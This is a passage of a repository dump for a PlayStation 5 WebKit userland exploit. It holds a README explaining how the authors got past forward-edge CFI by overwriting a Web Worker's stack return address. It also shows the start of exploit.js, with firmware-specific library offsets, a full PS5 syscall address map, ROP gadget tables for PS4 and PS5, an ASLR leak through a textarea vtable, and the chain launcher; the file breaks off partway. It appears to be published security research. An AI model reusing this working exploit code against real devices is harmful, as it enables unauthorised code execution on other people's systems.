main ad157f5c0748 cached
7 files
59.7 KB
20.4k tokens
39 symbols
1 requests
Download .txt
Repository: ChendoChap/PS5-Webkit-Execution
Branch: main
Commit: ad157f5c0748
Files: 7
Total size: 59.7 KB

Directory structure:
gitextract_414mdp3f/

├── .github/
│   └── README.md
├── exploit.js
├── index.html
├── int64.js
├── rop.js
├── rop_slave.js
└── webkit.js

================================================
FILE CONTENTS
================================================

================================================
FILE: .github/README.md
================================================
# Exploring the Playstation 5 Security - Userland
---
## Introduction
The PlayStation 5 was released on November 12th 2020. While it's similar to the PS4 in it's architecture, the security model is vastly improved on both kernel and userland fronts. Below is some key system information on system software and some of the changes from the last generation.

- Uses FreeBSD 11.
- No development access (ie. can't run unsigned code without exploits).
- To date there are no public exploits.
- Added mitigations in kernel and userland.
- Added hypervisor that handles security and app containers.

---


## Userland Overview
Back in September Project Zero released a [report](https://github.com/googleprojectzero/0days-in-the-wild/blob/67fde24b17e0defe07208d7a7f63563168ed5e62/0day-RCAs/2021/CVE-2021-30858.md) for what they believed to be CVE-2021-30858, this turned out to be wrong as it was actually CVE-2021-30889 they were describing. A [proof of concept](https://gist.github.com/sleirsgoevy/6beca32893909095f4bba1ce29167992) was written for PS4 by sleirsgoevy, which we later modified to gain ROP execution on 9.00 for the [kernel exploit](https://github.com/ChendoChap/pOOBs4). The vulnerability won't be covered here, this writeup will focus on taking the arbitrary read/write and `leakobj()/fakeobj()` primitives the exploit provides to gain code execution on PS5.

Lower firmwares such as 2.00 don't seem to be vulnerable, likely because the relevant FontFace code isn't present in older builds of WebKit (this holds true on PS4 as well, as firmwares lower than 9.00 can't be exploited with this WebKit bug).

Firmware 4.03 however, we found the browser was vulnerable. Unfortunately the exploit strategy used on PS4 could not be used on PS5 because of clang-based CFI. On PS4, we can use the `leakobj()` and arbitrary write primitive to leak an `HTMLTextArea`'s vtable and smash one the various virtual calls for code execution. On PS5, these virtual calls are verified.

Virtual calls now have code that looks something like this, where it's address is enforced:

![image info](./cfi.png "PS5 CFI enforcement on webkit")

---


### [Mitigations](https://wiki.freebsd.org/SecurityMitigations)


|name|kernel|user|description|
|---|---|---|---|
|[SMEP: Supervisor Mode Execution Prevention](https://svnweb.freebsd.org/base?view=revision&revision=242433)|x||SMEP will prevent supervisor mode from executing user-space code.|
|[SMAP: Supervisor Mode Access Prevention](https://en.wikipedia.org/wiki/Supervisor_Mode_Access_Prevention)|x||Complements Supervisor Mode Execution Prevention (SMEP), extends protection to reads and writes.|
|[XOM: eXecute Only Memory (R^X)](https://community.arm.com/arm-community-blogs/b/architectures-and-processors-blog/posts/what-is-execute-only-memory-xom)|x|x|Disallows reading any memory page marked as executable.|
|[Clang-CFI: Control Flow Integrity](https://clang.llvm.org/docs/ControlFlowIntegrity.html)|x|x|Protects against forward-edge control flow hijack (virtual calls, etc.)|

[Clang's Control Flow Integrity flags](https://clang.llvm.org/docs/ControlFlowIntegrity.html)

|-fsanitize=cfi-|description|
|----|---|
|cast-strict| Enables strict cast checks.|
|derived-cast| Base-to-derived cast to the wrong dynamic type.|
|unrelated-cast| Cast from void* or another unrelated type to the wrong dynamic type.|
|nvcall| Non-virtual call via an object whose vptr is of the wrong dynamic type.|
|vcal| Virtual call via an object whose vptr is of the wrong dynamic type.|
|icall| Indirect call of a function with wrong dynamic type.|
|mfcall| Indirect call via a member function pointer with wrong dynamic type.|

---

## WebKit Exploit Implementation

### Overview
An alternative was needed to achieve code execution in WebKit. Thankfully, PS5's CFI is only forward-edge and does not use shadow stack, so backward-edge attacks (such as attacking return addresses on the stack) are fair game.  Javascript provides a somewhat interesting piece of functionality called [Web Workers](https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API). These Workers are at their core simple threads which execute javascript in an isolated environment. These were useful for exploitation, as they had a reliable stack we could leak, and gives a thread to pivot to our ROP chain.

### Leaking a worker stack
The libkernel library used by WebKit (and many other applications) keeps a list of threads for that process, and includes information such as the stack address and size. By iterating this list using the arbitrary read/write, we can find a worker's stack address.

```javascript
function find_worker() {
    const PTHREAD_NEXT_THREAD_OFFSET = 0x38;
    const PTHREAD_STACK_ADDR_OFFSET = 0xA8;
    const PTHREAD_STACK_SIZE_OFFSET = 0xB0;

    for (let thread = p.read8(libKernelBase.add32(OFFSET_lk__thread_list)); thread.low != 0x0 && thread.hi != 0x0; thread = p.read8(thread.add32(PTHREAD_NEXT_THREAD_OFFSET))) {
        let stack = p.read8(thread.add32(PTHREAD_STACK_ADDR_OFFSET));
        let stacksz = p.read8(thread.add32(PTHREAD_STACK_SIZE_OFFSET));
        if (stacksz.low == 0x80000) {
            return stack;
        }
    }
    alert("failed to find worker.");
}
```

### Launching a ROP chain

Once we have a worker stack, we can smash a known return address on the stack to stack pivot and get ROP running. Due to the stack being deterministic, we can setup a dummy worker with a `postMessage` handler and overwrite the return address at `stack+0x7FB88`.

```javascript
const OFFSET_WORKER_STACK_OFFSET = set_offset_for_platform(0x0007FB88, 0x0007FB28);
// ...
let return_address_ptr = worker_stack.add32(OFFSET_WORKER_STACK_OFFSET);
let original_return_address = p.read8(return_address_ptr);
let stack_pointer_ptr = return_address_ptr.add32(0x8);
// ...
async function launch_chain(chain) {
    // ...
    
    //overwrite return address
    p.write8(return_address_ptr, gadgets["pop rsp"]);
    p.write8(stack_pointer_ptr, chain.stack_entry_point);

    let p1 = await new Promise((resolve) => {
        const channel = new MessageChannel();
        channel.port1.onmessage = () => {
            channel.port1.close();
            resolve(1);
        }
        worker.postMessage(0, [channel.port2]);
    });
    
    // ...
}
```

---

## Conclusion

Gaining userland code execution on PS5 is trickier than on PS4, but it's possible. Of course, this was made easier by the fact that we have binaries\* and thus access to ROP gadgets. Otherwise, achieving code execution would have been far more difficult due to XOM. This is a userland exploit. Attacking the kernel is much more difficult due to above mitigations, and is left for a future writeup.

---

## Credits
ChendoChap && Znullptr

**Thanks**

- Anonymous\*
- Specter
- sleirsgoevy
- Everyone that donated.


================================================
FILE: exploit.js
================================================
//Common chain
let chain;
//Bases
let libSceNKWebKitBase;
let libSceLibcInternalBase;
let libKernelBase;
//ASLR defeat patsy (former vtable buddy)
let textArea = document.createElement("textarea");

//Control flag
const IS_PS5 = navigator.userAgent.includes("PlayStation 5");

function set_offset_for_platform(ps5_offset, ps4_offset) {
    return (IS_PS5) ? ps5_offset : ps4_offset;
}

const OFFSET_wk_vtable_first_element = set_offset_for_platform(0x00D04580, 0x0104F110);
const OFFSET_wk_memset_import = set_offset_for_platform(0x028F9D38, 0x02F4A4E8);
const OFFSET_wk___stack_chk_fail_import = set_offset_for_platform(0x028F9C38, 0x02F4A450);

const OFFSET_lk___stack_chk_fail = set_offset_for_platform(0x00019970, 0x0001FF60);
const OFFSET_lk_pthread_create_name_np = set_offset_for_platform(0x00001B60, 0x00019F10);
const OFFSET_lk_pthread_exit = set_offset_for_platform(0x00020A80, 0x000077A0);
const OFFSET_lk_pthread_join = set_offset_for_platform(0x0002FAD0, 0x0000AFA0);
const OFFSET_lk__thread_list = set_offset_for_platform(0x000601A8, 0x00058248);

const OFFSET_lc_memset = set_offset_for_platform(0x000148F0, 0x0004F810);
const OFFSET_lc_setjmp = set_offset_for_platform(0x0005E9B0, 0x000BB5BC);
const OFFSET_lc_longjmp = set_offset_for_platform(0x0005EA00, 0x000BB616);

const OFFSET_WORKER_STACK_OFFSET = set_offset_for_platform(0x0007FB88, 0x0007FB28);

//ps5 malloc: 0x05C60
//ps5 free  : 0x05C70
//ps5 memcpy: 0x03A90
//ps5 memcmp: 0x437F0

//ps5 __error: 0x1D2A0


let nogc = [];
let syscalls = {};
let gadgets = {};

let ps5_syscall_map = {
    0x001: 0x34230, // sys_exit
    0x002: 0x351E0, // sys_fork
    0x003: 0x33400, // sys_read
    0x004: 0x33360, // sys_write
    0x005: 0x33A00, // sys_open
    0x006: 0x34030, // sys_close
    0x007: 0x32C20, // sys_wait4
    0x00A: 0x34D20, // sys_unlink
    0x00C: 0x346B0, // sys_chdir
    0x00F: 0x340B0, // sys_chmod
    0x014: 0x33580, // sys_getpid
    0x017: 0x33080, // sys_setuid
    0x018: 0x34690, // sys_getuid
    0x019: 0x33A40, // sys_geteuid
    0x01B: 0x33AE0, // sys_recvmsg
    0x01C: 0x33D10, // sys_sendmsg
    0x01D: 0x34860, // sys_recvfrom
    0x01E: 0x32F80, // sys_accept
    0x01F: 0x32DA0, // sys_getpeername
    0x020: 0x34EC0, // sys_getsockname
    0x021: 0x349E0, // sys_access
    0x022: 0x34B60, // sys_chflags
    0x023: 0x34530, // sys_fchflags
    0x024: 0x35410, // sys_sync
    0x025: 0x339E0, // sys_kill
    0x027: 0x33480, // sys_getppid
    0x029: 0x34A40, // sys_dup
    0x02A: 0x333D0, // sys_pipe
    0x02B: 0x35080, // sys_getegid
    0x02C: 0x353D0, // sys_profil
    0x02F: 0x32F20, // sys_getgid
    0x031: 0x32F00, // sys_getlogin
    0x032: 0x34790, // sys_setlogin
    0x035: 0x33140, // sys_sigaltstack
    0x036: 0x332A0, // sys_ioctl
    0x037: 0x34570, // sys_reboot
    0x038: 0x34470, // sys_revoke
    0x03B: 0x34770, // sys_execve
    0x041: 0x34110, // sys_msync
    0x049: 0x33900, // sys_munmap
    0x04A: 0x34670, // sys_mprotect
    0x04B: 0x337F0, // sys_madvise
    0x04E: 0x339C0, // sys_mincore
    0x04F: 0x32E80, // sys_getgroups
    0x050: 0x33420, // sys_setgroups
    0x053: 0x32E60, // sys_setitimer
    0x056: 0x32C80, // sys_getitimer
    0x059: 0x344D0, // sys_getdtablesize
    0x05A: 0x348E0, // sys_dup2
    0x05C: 0x33F10, // sys_fcntl
    0x05D: 0x33A60, // sys_select
    0x05F: 0x32EC0, // sys_fsync
    0x060: 0x33DF0, // sys_setpriority
    0x061: 0x33640, // sys_socket
    0x062: 0x346D0, // sys_connect
    0x063: 0x35040, // sys_netcontrol
    0x064: 0x32C40, // sys_getpriority
    0x065: 0x34C60, // sys_netabort
    0x066: 0x34FE0, // sys_netgetsockinfo
    0x068: 0x34CE0, // sys_bind
    0x069: 0x33F50, // sys_setsockopt
    0x06A: 0x33240, // sys_listen
    0x071: 0x34250, // sys_socketex
    0x072: 0x33C20, // sys_socketclose
    0x074: 0x353F0, // sys_gettimeofday
    0x075: 0x354D0, // sys_getrusage
    0x076: 0x32C00, // sys_getsockopt
    0x078: 0x33E90, // sys_readv
    0x079: 0x33CF0, // sys_writev
    0x07A: 0x34940, // sys_settimeofday
    0x07C: 0x33880, // sys_fchmod
    0x07D: 0x340F0, // sys_netgetiflist
    0x07E: 0x34FC0, // sys_setreuid
    0x07F: 0x33BE0, // sys_setregid
    0x080: 0x34B40, // sys_rename
    0x083: 0x33B60, // sys_flock
    0x085: 0x35430, // sys_sendto
    0x086: 0x35260, // sys_shutdown
    0x087: 0x345F0, // sys_socketpair
    0x088: 0x34390, // sys_mkdir
    0x089: 0x335E0, // sys_rmdir
    0x08A: 0x32AF0, // sys_utimes
    0x08C: 0x34F80, // sys_adjtime
    0x08D: 0x340D0, // sys_kqueueex
    0x093: 0x34330, // sys_setsid
    0x0A5: 0x32E20, // sys_sysarch
    0x0B6: 0x34DC0, // sys_setegid
    0x0B7: 0x32C60, // sys_seteuid
    0x0BC: 0x34E20, // sys_stat
    0x0BD: 0x35220, // sys_fstat
    0x0BE: 0x33C00, // sys_lstat
    0x0BF: 0x33300, // sys_pathconf
    0x0C0: 0x345B0, // sys_fpathconf
    0x0C2: 0x33B40, // sys_getrlimit
    0x0C3: 0x33720, // sys_setrlimit
    0x0C4: 0x34D40, // sys_getdirentries
    0x0CA: 0x34B20, // sys___sysctl
    0x0CB: 0x341D0, // sys_mlock
    0x0CC: 0x34BC0, // sys_munlock
    0x0CE: 0x33680, // sys_futimes
    0x0D1: 0x33C60, // sys_poll
    0x0E8: 0x32D20, // sys_clock_gettime
    0x0E9: 0x34190, // sys_clock_settime
    0x0EA: 0x35190, // sys_clock_getres
    0x0EB: 0x34D60, // sys_ktimer_create
    0x0EC: 0x334E0, // sys_ktimer_delete
    0x0ED: 0x35240, // sys_ktimer_settime
    0x0EE: 0x346F0, // sys_ktimer_gettime
    0x0EF: 0x338A0, // sys_ktimer_getoverrun
    0x0F0: 0x34C20, // sys_nanosleep
    0x0F1: 0x34450, // sys_ffclock_getcounter
    0x0F2: 0x33440, // sys_ffclock_setestimate
    0x0F3: 0x342D0, // sys_ffclock_getestimate
    0x0F7: 0x34CC0, // sys_clock_getcpuclockid2
    0x0FD: 0x34880, // sys_issetugid
    0x110: 0x35020, // sys_getdents
    0x121: 0x34730, // sys_preadv
    0x122: 0x33C80, // sys_pwritev
    0x136: 0x33980, // sys_getsid
    0x13B: 0x34E40, // sys_aio_suspend
    0x144: 0x33500, // sys_mlockall
    0x145: 0x34900, // sys_munlockall
    0x147: 0x33600, // sys_sched_setparam
    0x148: 0x34270, // sys_sched_getparam
    0x149: 0x32DC0, // sys_sched_setscheduler
    0x14A: 0x33C40, // sys_sched_getscheduler
    0x14B: 0x33AA0, // sys_sched_yield
    0x14C: 0x33040, // sys_sched_get_priority_max
    0x14D: 0x33160, // sys_sched_get_priority_min
    0x14E: 0x33390, // sys_sched_rr_get_interval
    0x154: 0x32B50, // sys_sigprocmask
    0x155: 0x32B90, // sys_sigsuspend
    0x157: 0x34A60, // sys_sigpending
    0x159: 0x34B80, // sys_sigtimedwait
    0x15A: 0x347C0, // sys_sigwaitinfo
    0x16A: 0x34DA0, // sys_kqueue
    0x16B: 0x33000, // sys_kevent
    0x17B: 0x32FA0, // sys_mtypeprotect
    0x188: 0x330C0, // sys_uuidgen
    0x189: 0x35510, // sys_sendfile
    0x18D: 0x33560, // sys_fstatfs
    0x190: 0x33120, // sys_ksem_close
    0x191: 0x33EB0, // sys_ksem_post
    0x192: 0x34750, // sys_ksem_wait
    0x193: 0x354F0, // sys_ksem_trywait
    0x194: 0x33260, // sys_ksem_init
    0x195: 0x34C80, // sys_ksem_open
    0x196: 0x34960, // sys_ksem_unlink
    0x197: 0x330E0, // sys_ksem_getvalue
    0x198: 0x34920, // sys_ksem_destroy
    0x1A0: 0x34E00, // sys_sigaction
    0x1A1: 0x34AA0, // sys_sigreturn
    0x1A5: 0x33780, // sys_getcontext
    0x1A6: 0x344B0, // sys_setcontext
    0x1A7: 0x345D0, // sys_swapcontext
    0x1AD: 0x337D0, // sys_sigwait
    0x1AE: 0x32EA0, // sys_thr_create
    0x1AF: 0x33200, // sys_thr_exit
    0x1B0: 0x33BA0, // sys_thr_self
    0x1B1: 0x33220, // sys_thr_kill
    0x1B9: 0x34840, // sys_ksem_timedwait
    0x1BA: 0x32B70, // sys_thr_suspend
    0x1BB: 0x334A0, // sys_thr_wake
    0x1BC: 0x34510, // sys_kldunloadf
    0x1C6: 0x32BF0, // sys__umtx_op
    0x1C6: 0x35200, // sys__umtx_op
    0x1C7: 0x34F40, // sys_thr_new
    0x1C8: 0x34EA0, // sys_sigqueue
    0x1D0: 0x34800, // sys_thr_set_name
    0x1D2: 0x33DB0, // sys_rtprio_thread
    0x1DB: 0x33540, // sys_pread
    0x1DC: 0x34650, // sys_pwrite
    0x1DD: 0x34F20, // sys_mmap
    0x1DE: 0x34A20, // sys_lseek
    0x1DF: 0x33AC0, // sys_truncate
    0x1E0: 0x33520, // sys_ftruncate
    0x1E1: 0x32B10, // sys_thr_kill2
    0x1E2: 0x35490, // sys_shm_open
    0x1E3: 0x34F00, // sys_shm_unlink
    0x1E6: 0x33740, // sys_cpuset_getid
    0x1E7: 0x35300, // sys_cpuset_getaffinity
    0x1E8: 0x34AC0, // sys_cpuset_setaffinity
    0x1F3: 0x32EE0, // sys_openat
    0x203: 0x34590, // sys___cap_rights_get
    0x20A: 0x33FD0, // sys_pselect
    0x214: 0x34090, // sys_regmgr_call
    0x215: 0x33E10, // sys_jitshm_create
    0x216: 0x343F0, // sys_jitshm_alias
    0x217: 0x332E0, // sys_dl_get_list
    0x218: 0x34130, // sys_dl_get_info
    0x21A: 0x34070, // sys_evf_create
    0x21B: 0x334C0, // sys_evf_delete
    0x21C: 0x34410, // sys_evf_open
    0x21D: 0x33FF0, // sys_evf_close
    0x21E: 0x342B0, // sys_evf_wait
    0x21F: 0x34A80, // sys_evf_trywait
    0x220: 0x34430, // sys_evf_set
    0x221: 0x349A0, // sys_evf_clear
    0x222: 0x337B0, // sys_evf_cancel
    0x223: 0x34290, // sys_query_memory_protection
    0x224: 0x33B80, // sys_batch_map
    0x225: 0x33D90, // sys_osem_create
    0x226: 0x32D60, // sys_osem_delete
    0x227: 0x32CE0, // sys_osem_open
    0x228: 0x352E0, // sys_osem_close
    0x229: 0x34370, // sys_osem_wait
    0x22A: 0x34980, // sys_osem_trywait
    0x22B: 0x34610, // sys_osem_post
    0x22C: 0x33EF0, // sys_osem_cancel
    0x22D: 0x33CA0, // sys_namedobj_create
    0x22E: 0x339A0, // sys_namedobj_delete
    0x22F: 0x35570, // sys_set_vm_container
    0x230: 0x33460, // sys_debug_init
    0x233: 0x33DD0, // sys_opmc_enable
    0x234: 0x32E40, // sys_opmc_disable
    0x235: 0x33E50, // sys_opmc_set_ctl
    0x236: 0x33E70, // sys_opmc_set_ctr
    0x237: 0x348C0, // sys_opmc_get_ctr
    0x23C: 0x336E0, // sys_virtual_query
    0x249: 0x34D00, // sys_is_in_sandbox
    0x24A: 0x338C0, // sys_dmem_container
    0x24B: 0x34170, // sys_get_authinfo
    0x24C: 0x32CC0, // sys_mname
    0x24F: 0x332C0, // sys_dynlib_dlsym
    0x250: 0x335C0, // sys_dynlib_get_list
    0x251: 0x35060, // sys_dynlib_get_info
    0x252: 0x33F70, // sys_dynlib_load_prx
    0x253: 0x32F60, // sys_dynlib_unload_prx
    0x254: 0x34DE0, // sys_dynlib_do_copy_relocations
    0x256: 0x33D70, // sys_dynlib_get_proc_param
    0x257: 0x350C0, // sys_dynlib_process_needed_and_relocate
    0x258: 0x32B30, // sys_sandbox_path
    0x259: 0x336A0, // sys_mdbg_service
    0x25A: 0x33D30, // sys_randomized_path
    0x25B: 0x34BA0, // sys_rdup
    0x25C: 0x331A0, // sys_dl_get_metadata
    0x25D: 0x338E0, // sys_workaround8849
    0x25E: 0x330A0, // sys_is_development_mode
    0x25F: 0x34210, // sys_get_self_auth_info
    0x260: 0x354B0, // sys_dynlib_get_info_ex
    0x262: 0x35550, // sys_budget_get_ptype
    0x263: 0x333B0, // sys_get_paging_stats_of_all_threads
    0x264: 0x352C0, // sys_get_proc_type_info
    0x265: 0x32AD0, // sys_get_resident_count
    0x267: 0x33E30, // sys_get_resident_fmem_count
    0x268: 0x34EE0, // sys_thr_get_name
    0x269: 0x344F0, // sys_set_gpo
    0x26A: 0x341F0, // sys_get_paging_stats_of_all_objects
    0x26B: 0x32FE0, // sys_test_debug_rwmem
    0x26C: 0x33100, // sys_free_stack
    0x26E: 0x32D00, // sys_ipmimgr_call
    0x26F: 0x34150, // sys_get_gpo
    0x270: 0x35530, // sys_get_vm_map_timestamp
    0x271: 0x34AE0, // sys_opmc_set_hw
    0x272: 0x33620, // sys_opmc_get_hw
    0x273: 0x32CA0, // sys_get_cpu_usage_all
    0x274: 0x34310, // sys_mmap_dmem
    0x275: 0x336C0, // sys_physhm_open
    0x276: 0x33ED0, // sys_physhm_unlink
    0x278: 0x35470, // sys_thr_suspend_ucontext
    0x279: 0x33960, // sys_thr_resume_ucontext
    0x27A: 0x33920, // sys_thr_get_ucontext
    0x27B: 0x33A20, // sys_thr_set_ucontext
    0x27C: 0x33660, // sys_set_timezone_info
    0x27D: 0x343B0, // sys_set_phys_fmem_limit
    0x27E: 0x33760, // sys_utc_to_localtime
    0x27F: 0x35590, // sys_localtime_to_utc
    0x280: 0x34710, // sys_set_uevt
    0x281: 0x33280, // sys_get_cpu_usage_proc
    0x282: 0x33B00, // sys_get_map_statistics
    0x283: 0x348A0, // sys_set_chicken_switches
    0x286: 0x351C0, // sys_get_kernel_mem_statistics
    0x287: 0x343D0, // sys_get_sdk_compiled_version
    0x288: 0x32D40, // sys_app_state_change
    0x289: 0x34F60, // sys_dynlib_get_obj_member
    0x28C: 0x32DE0, // sys_process_terminate
    0x28D: 0x335A0, // sys_blockpool_open
    0x28E: 0x33340, // sys_blockpool_map
    0x28F: 0x34D80, // sys_blockpool_unmap
    0x290: 0x349C0, // sys_dynlib_get_info_for_libdbg
    0x291: 0x33A80, // sys_blockpool_batch
    0x292: 0x331E0, // sys_fdatasync
    0x293: 0x33700, // sys_dynlib_get_list2
    0x294: 0x35450, // sys_dynlib_get_info2
    0x295: 0x34C00, // sys_aio_submit
    0x296: 0x33180, // sys_aio_multi_delete
    0x297: 0x33FB0, // sys_aio_multi_wait
    0x298: 0x33060, // sys_aio_multi_poll
    0x299: 0x34B00, // sys_aio_get_data
    0x29A: 0x33F90, // sys_aio_multi_cancel
    0x29B: 0x32F40, // sys_get_bio_usage_all
    0x29C: 0x34630, // sys_aio_create
    0x29D: 0x350A0, // sys_aio_submit_cmd
    0x29E: 0x34FA0, // sys_aio_init
    0x29F: 0x34A00, // sys_get_page_table_stats
    0x2A0: 0x34E60, // sys_dynlib_get_list_for_libdbg
    0x2A1: 0x35000, // sys_blockpool_move
    0x2A2: 0x34E80, // sys_virtual_query_all
    0x2A3: 0x33F30, // sys_reserve_2mb_page
    0x2A4: 0x347E0, // sys_cpumode_yield
    0x2A5: 0x342F0, // sys_wait6
    0x2A6: 0x33D50, // sys_cap_rights_limit
    0x2A7: 0x33320, // sys_cap_ioctls_limit
    0x2A8: 0x34050, // sys_cap_ioctls_get
    0x2A9: 0x34820, // sys_cap_fcntls_limit
    0x2AA: 0x32FC0, // sys_cap_fcntls_get
    0x2AB: 0x35320, // sys_bindat
    0x2AC: 0x33B20, // sys_connectat
    0x2AD: 0x32D80, // sys_chflagsat
    0x2AE: 0x32BD0, // sys_accept4
    0x2AF: 0x331C0, // sys_pipe2
    0x2B0: 0x33BC0, // sys_aio_mlock
    0x2B1: 0x352A0, // sys_procctl
    0x2B2: 0x34550, // sys_ppoll
    0x2B3: 0x34490, // sys_futimens
    0x2B4: 0x34C40, // sys_utimensat
    0x2B5: 0x341B0, // sys_numa_getaffinity
    0x2B6: 0x34010, // sys_numa_setaffinity
    0x2C1: 0x33020, // sys_get_phys_page_size
    0x2C9: 0x35280, // sys_get_ppr_sdk_compiled_version
    0x2CC: 0x33860, // sys_openintr
    0x2CD: 0x34350, // sys_dl_get_info_2
    0x2CE: 0x33940, // sys_acinfo_add
    0x2CF: 0x32BB0, // sys_acinfo_delete
    0x2D0: 0x34BE0, // sys_acinfo_get_all_for_coredump
    0x2D1: 0x34CA0, // sys_ampr_ctrl_debug
    0x2D2: 0x32E00, // sys_workspace_ctrl
}

let ps4_wk_gadgetmap = {
    "ret": 0x32,
    "pop rdi": 0x319690,
    "pop rsi": 0x1F4D6,
    "pop rdx": 0x986C,
    "pop rcx": 0x657B7,
    "pop r8": 0xAFAA71,
    "pop r9": 0x422571,
    "pop rax": 0x51A12,
    "pop rsp": 0x4E293,
    "mov [rdi], rsi": 0x1A97920,
    "mov [rdi], rax": 0x10788F7,
    "mov [rdi], eax": 0x9964BC,
    "infloop": 0x7DFF,

    //branching specific gadgets
    "cmp [rcx], eax": 0x471F02,
    "sete al": 0xC975,
    "seta al": 0x110297,
    "setb al": 0x2B762,
    "setg al": 0x1EDF5,
    "setl al": 0x6C8D86,
    "shl rax, 3": 0x4AB143,
    "add rax, rdx": 0x3F662C,
    "mov rax, [rax]": 0x241CC,
    "inc dword [rax]": 0xCC638,
};


let ps5_wk_gadgetmap = {
    "ret": 0x000042,
    "pop rdi": 0x043B7C,
    "pop rsi": 0x08f33E,
    "pop rdx": 0x0156EA,
    "pop rcx": 0x060DF3,
    "pop r8": 0x1262A4F,
    "pop r9": 0x4E450C,
    "pop rax": 0x084094,
    "pop rsp": 0x05D293,
    "mov [rdi], rsi": 0x0118570,
    "mov [rdi], rax": 0x0C3A5C0,
    "mov [rdi], eax": 0x03FB6E6,
    "infloop": 0x109E1,

    //branching specific gadgets
    "cmp [rcx], eax": 0x204122,
    "sete al": 0x0B7B735,
    "seta al": 0xCCFB4,
    "setb al": 0x1B7657,
    "setg al": 0x00708c9,
    "setl al": 0x1517692,
    "shl rax, 3": 0x1A43F03,
    "add rax, rdx": 0x16F4948,
    "mov rax, [rax]": 0x142E309,
    "inc dword [rax]": 0x017629AF,
};

let worker = new Worker("rop_slave.js");


//Make sure worker is alive?
async function wait_for_worker() {
    let p1 = await new Promise((resolve) => {
        const channel = new MessageChannel();
        channel.port1.onmessage = () => {
            channel.port1.close();
            resolve(1);
        }
        worker.postMessage(0, [channel.port2]);
    });
    return p1;
}

function find_worker() {

    const PTHREAD_NEXT_THREAD_OFFSET = 0x38;
    const PTHREAD_STACK_ADDR_OFFSET = 0xA8;
    const PTHREAD_STACK_SIZE_OFFSET = 0xB0;

    for (let thread = p.read8(libKernelBase.add32(OFFSET_lk__thread_list)); thread.low != 0x0 && thread.hi != 0x0; thread = p.read8(thread.add32(PTHREAD_NEXT_THREAD_OFFSET))) {
        let stack = p.read8(thread.add32(PTHREAD_STACK_ADDR_OFFSET));
        let stacksz = p.read8(thread.add32(PTHREAD_STACK_SIZE_OFFSET));
        if (stacksz.low == 0x80000) {
            return stack;
        }
    }
    alert("failed to find worker.");
}

async function userland() {
    p.pre_chain = pre_chain;
    p.launch_chain = launch_chain;
    p.malloc = malloc;
    p.stringify = stringify;
    p.array_from_address = array_from_address;
    p.readstr = readstr;
    p.writestr = writestr;

    //pointer to vtable address
    let textAreaVtPtr = p.read8(p.leakval(textArea).add32(0x18));
    //address of vtable
    let textAreaVtable = p.read8(textAreaVtPtr);
    //use address of 1st entry (in .text) to calculate libSceNKWebKitBase
    libSceNKWebKitBase = p.read8(textAreaVtable).sub32(OFFSET_wk_vtable_first_element);

    libSceLibcInternalBase = p.read8(libSceNKWebKitBase.add32(OFFSET_wk_memset_import));
    libSceLibcInternalBase.sub32inplace(OFFSET_lc_memset);

    libKernelBase = p.read8(libSceNKWebKitBase.add32(OFFSET_wk___stack_chk_fail_import));
    libKernelBase.sub32inplace(OFFSET_lk___stack_chk_fail);
    if (IS_PS5) {
        for (let gadget in ps5_wk_gadgetmap) {
            gadgets[gadget] = libSceNKWebKitBase.add32(ps5_wk_gadgetmap[gadget]);
        }
        for (let sysc in ps5_syscall_map) {
            syscalls[sysc] = libKernelBase.add32(ps5_syscall_map[sysc]);
        }
    } else {
        for (let gadget in ps4_wk_gadgetmap) {
            gadgets[gadget] = libSceNKWebKitBase.add32(ps4_wk_gadgetmap[gadget]);
        }
    }

    function malloc(sz, type = 4) {
        let backing;
        if (type == 1) {
            backing = new Uint8Array(0x10000 + sz);
        } else if (type == 2) {
            backing = new Uint16Array(0x10000 + sz);
        } else if (type == 4) {
            backing = new Uint32Array(0x10000 + sz);
        }
        nogc.push(backing);
        let ptr = p.read8(p.leakval(backing).add32(0x10));
        ptr.backing = backing;
        return ptr;
    }

    function array_from_address(addr, size) {
        let og_array = new Uint32Array(0x1000);
        let og_array_i = p.leakval(og_array).add32(0x10);

        p.write8(og_array_i, addr);
        p.write4(og_array_i.add32(0x8), size);
        p.write4(og_array_i.add32(0xC), 0x1);

        nogc.push(og_array);
        return og_array;
    }

    function stringify(str) {
        let bufView = new Uint8Array(str.length + 1);
        for (let i = 0; i < str.length; i++) {
            bufView[i] = str.charCodeAt(i) & 0xFF;
        }
        nogc.push(bufView);
        return p.read8(p.leakval(bufView).add32(0x10));
    }

    function readstr(addr) {
        let str = "";
        for (let i = 0;; i++) {
            let c = p.read1(addr.add32(i));
            if (c == 0x0) {
                break;
            }
            str += String.fromCharCode(c);

        }
        return str;
    }

    function writestr(addr, str) {
        let waddr = addr.add32(0);
        if (typeof (str) == "string") {

            for (let i = 0; i < str.length; i++) {
                let byte = str.charCodeAt(i);
                if (byte == 0) {
                    break;
                }
                p.write1(waddr, byte);
                waddr.add32inplace(0x1);
            }
        }
        p.write1(waddr, 0x0);
    }

    await wait_for_worker();
    let worker_stack = find_worker();
    let original_context = p.malloc(0x40);

    let return_address_ptr = worker_stack.add32(OFFSET_WORKER_STACK_OFFSET);
    let original_return_address = p.read8(return_address_ptr);
    let stack_pointer_ptr = return_address_ptr.add32(0x8);

    function pre_chain(chain) {
        //save context for later
        chain.push(gadgets["pop rdi"]);
        chain.push(original_context);
        chain.push(libSceLibcInternalBase.add32(OFFSET_lc_setjmp));
    }

    async function launch_chain(chain) {
        //Restore earlier saved context but with a twist.
        let original_value_of_stack_pointer_ptr = p.read8(stack_pointer_ptr);
        chain.push_write8(original_context, original_return_address);
        chain.push_write8(original_context.add32(0x10), return_address_ptr);
        chain.push_write8(stack_pointer_ptr, original_value_of_stack_pointer_ptr);
        chain.push(gadgets["pop rdi"]);
        chain.push(original_context);
        chain.push(libSceLibcInternalBase.add32(OFFSET_lc_longjmp));

        //overwrite rop_slave's return address
        p.write8(return_address_ptr, gadgets["pop rsp"]);
        p.write8(stack_pointer_ptr, chain.stack_entry_point);

        let p1 = await new Promise((resolve) => {
            const channel = new MessageChannel();
            channel.port1.onmessage = () => {
                channel.port1.close();
                resolve(1);
            }
            worker.postMessage(0, [channel.port2]);
        });
        if (p1 === 0) {
            alert("The rop thread ran away. ");
            p.write8(0, 0);
        }
    }

    if (!IS_PS5) {
        //PS4: read libkernel text and look for syscall wrappers.
        let kview = new Uint8Array(0x1000);
        let kstr = p.leakval(kview).add32(0x10);
        let orig_kview_buf = p.read8(kstr);

        p.write8(kstr, libKernelBase);
        p.write4(kstr.add32(8), 0x40000);
        let countbytes;

        for (let i = 0; i < 0x40000; i++) {
